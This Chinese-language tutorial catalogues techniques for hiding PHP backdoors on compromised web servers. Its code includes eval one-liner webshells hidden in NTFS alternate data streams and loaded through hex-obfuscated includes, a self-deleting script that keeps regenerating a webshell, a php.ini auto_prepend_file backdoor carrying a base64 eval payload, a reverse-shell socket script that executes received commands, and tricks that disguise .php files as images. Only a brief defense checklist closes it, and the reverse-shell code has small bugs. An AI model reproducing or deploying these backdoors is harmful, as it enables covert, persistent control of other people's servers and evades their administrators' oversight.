php后门隐藏技巧大全
字数 896 2025-08-15 21:31:54

PHP后门隐藏技巧大全

1. Windows系统文件隐藏技巧

1.1 使用attrib命令创建系统隐藏文件

attrib +s +h 文件名
attrib +s +a +r +h 文件名

特点:

  • 即使在Windows 10下开启了"显示隐藏的项目"或使用dir命令也看不见
  • 需要取消隐藏属性时使用:attrib -s -h 文件名

1.2 利用NTFS交换数据流(ADS)隐藏文件

ADS是NTFS文件系统的特性,允许文件包含多个数据流。

创建ADS隐藏文件:

echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg
  • 生成一个不可见的index.php:shell.jpg
  • 使用dir /r命令可以查看ADS文件

使用方式:

  • 直接包含这个隐藏文件
  • 删除方法:直接删除宿主文件(index.php)

高级隐藏技巧:

<?php 
$a="696E6465782E7068703A7368656C6C2E6A7067"; // index.php:shell.jpg的hex编码
$b="a"; 
include(PACK('H*',
$$
b));
?>

2. 环境变量留后门

  1. 在C盘特定目录存放图片马或txt文件
  2. 通过文件包含功能调用这些文件
  3. 可以包含图片马、txt等看似无害的文件增加隐蔽性

3. 不死马技术

基本不死马

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
    sleep(5);
}

特点:

  • 运行后会删除自身
  • 定期生成webshell.php
  • 即使管理员删除,也会自动重新生成

对抗不死马的方法

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    file_put_contents('webshell.php','clear');
    sleep(1);
}

或:

  • 重启web服务
  • 覆盖重写webshell文件

4. php.ini后门

配置方法:

allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"

(base64解码后是:<?php @eval($_REQUEST[cmd]);?>)

激活方法:

  1. 手动重启web服务(可能暴露)
  2. 使用php_socket.php脚本自动重新加载php.ini

php_socket.php脚本示例:

<?php
/* 只适用于windows系统 */
while(true){
    @set_time_limit(0);
    $system=strtoupper(substr(PHP_OS,0,3));
    if(!extension_loaded('sockets')) {
        if($system=='WIN'){@dl('php_sockets.dll')ordie("Can't load socket");}
    }
    $host='255.255.255.255'; // 不存在的IP
    $port=1998;
    if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}
    $descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
    $host=gethostbyname($host);
    $proto=getprotobyname("tcp");
    if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
    if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
    else{
        $message="PHP反弹连接\n";
        @socket_write($sock,$message,strlen($message));
        $cwd=str_replace(dirname(__FILE__));
        while($cmd=@socket_read($sock,65535,$proto)){
            if(trim(strtolower($cmd))=="exit"){
                socket_write($sock,"Bye\n");exit;
            }else{
                $process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
                if(is_resource($process)){
                    fwrite($pipes[0],$cmd);
                    fclose($pipes[0]);
                    $msg=stream_get_contents($pipes[1]);
                    socket_write($sock,$msg,strlen($msg));
                    fclose($pipes[1]);
                    $msg=stream_get_contents($pipes[2]);
                    socket_write($sock,$msg,strlen($msg));
                    $return_value=proc_close($process);
                }
            }
        }
    }
}
?>

5. 代码拆分与多文件包含

示例:

  1. 将敏感代码拆分到多个文件
// POST.php
$a=$_POST['x'];
  1. 主文件包含并执行
include "POST.php";
@eval($a);

6. 数据库隐藏后门

  1. 将真正的一句话木马写入数据库
  2. 修改源码为eval(查出的数据);
  3. 当程序执行数据库查询时,会自动执行隐藏的后门

7. Linux系统隐藏技巧

<?php
$webpath = dirname(__FILE__);
file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的内容(比如写个一句话)");
?>

特点:

  • 生成的文件显示为"guige.jpg"
  • 实际访问需要使用"guige.jpg%09.php"
  • 管理员看到的是.jpg文件,实际可以通过.php解析执行

防御建议

  1. 定期检查系统隐藏文件和ADS流
  2. 监控php.ini等配置文件的变化
  3. 对上传文件进行严格过滤
  4. 使用安全扫描工具定期检查网站
  5. 限制PHP危险函数的使用
  6. 保持系统和应用软件及时更新
PHP后门隐藏技巧大全 1. Windows系统文件隐藏技巧 1.1 使用attrib命令创建系统隐藏文件 特点: 即使在Windows 10下开启了"显示隐藏的项目"或使用dir命令也看不见 需要取消隐藏属性时使用: attrib -s -h 文件名 1.2 利用NTFS交换数据流(ADS)隐藏文件 ADS是NTFS文件系统的特性,允许文件包含多个数据流。 创建ADS隐藏文件: 生成一个不可见的index.php:shell.jpg 使用 dir /r 命令可以查看ADS文件 使用方式: 直接包含这个隐藏文件 删除方法:直接删除宿主文件(index.php) 高级隐藏技巧: 2. 环境变量留后门 在C盘特定目录存放图片马或txt文件 通过文件包含功能调用这些文件 可以包含图片马、txt等看似无害的文件增加隐蔽性 3. 不死马技术 基本不死马 特点: 运行后会删除自身 定期生成webshell.php 即使管理员删除,也会自动重新生成 对抗不死马的方法 或: 重启web服务 覆盖重写webshell文件 4. php.ini后门 配置方法: (base64解码后是: <?php @eval($_REQUEST[cmd]);?> ) 激活方法: 手动重启web服务(可能暴露) 使用php_ socket.php脚本自动重新加载php.ini php_ socket.php脚本示例: 5. 代码拆分与多文件包含 示例: 将敏感代码拆分到多个文件 主文件包含并执行 6. 数据库隐藏后门 将真正的一句话木马写入数据库 修改源码为 eval(查出的数据); 当程序执行数据库查询时,会自动执行隐藏的后门 7. Linux系统隐藏技巧 特点: 生成的文件显示为"guige.jpg" 实际访问需要使用"guige.jpg%09.php" 管理员看到的是.jpg文件,实际可以通过.php解析执行 防御建议 定期检查系统隐藏文件和ADS流 监控php.ini等配置文件的变化 对上传文件进行严格过滤 使用安全扫描工具定期检查网站 限制PHP危险函数的使用 保持系统和应用软件及时更新